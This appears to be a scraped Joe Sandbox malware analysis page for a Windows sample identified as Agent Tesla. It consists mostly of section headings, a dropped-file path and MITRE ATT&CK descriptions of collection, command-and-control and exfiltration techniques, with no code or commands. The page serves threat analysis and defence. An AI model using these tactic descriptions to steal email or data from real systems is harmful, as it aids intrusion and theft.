Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Teklif-6205018797-6100052155-UUE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe

C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
Teklif-6205018797-6100052155-UUE.exe

Function 0079A9C0 Relevance: 7.2, Strings: 5, Instructions: 983
COMMON

Function 0598AA98 Relevance: 4.3, Strings: 3, Instructions: 544
COMMON

Function 05935750 Relevance: 3.1, Strings: 2, Instructions: 639
COMMON

Function 0598AA88 Relevance: 2.7, Strings: 2, Instructions: 157
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre